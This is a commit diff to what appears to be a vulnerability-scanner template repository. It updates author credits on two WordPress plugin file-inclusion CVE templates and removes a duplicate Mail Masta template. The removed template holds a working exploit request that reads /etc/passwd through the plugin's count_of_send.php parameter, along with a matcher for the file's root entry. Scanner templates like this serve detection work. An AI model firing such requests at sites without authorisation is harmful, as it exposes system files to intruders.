commit
1f38453eaa
|
@ -2,7 +2,7 @@ id: CVE-2016-10956
|
|||
|
||||
info:
|
||||
name: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)
|
||||
author: daffainfo
|
||||
author: daffainfo,0x240x23elu
|
||||
severity: high
|
||||
description: The mail-masta plugin 1.0 for WordPress has local file inclusion in count_of_send.php and csvexport.php.
|
||||
reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10956
|
||||
|
|
|
@ -2,7 +2,7 @@ id: CVE-2018-16299
|
|||
|
||||
info:
|
||||
name: WordPress Plugin Localize My Post 1.0 - LFI
|
||||
author: 0x_Akoko
|
||||
author: 0x_Akoko,0x240x23elu
|
||||
severity: high
|
||||
reference: https://www.exploit-db.com/exploits/45439
|
||||
tags: wordpress,cve2018,cve,lfi
|
||||
|
|
|
@ -1,19 +0,0 @@
|
|||
id: wp-mail-masta-lfi
|
||||
|
||||
info:
|
||||
name: WordPress Plugin Mail Masta 1.0 - Local File Inclusion
|
||||
author: 0x240x23elu
|
||||
severity: high
|
||||
reference: https://www.exploit-db.com/exploits/40290
|
||||
tags: wordpress,wp-plugin,lfi
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
Loading…
Reference in New Issue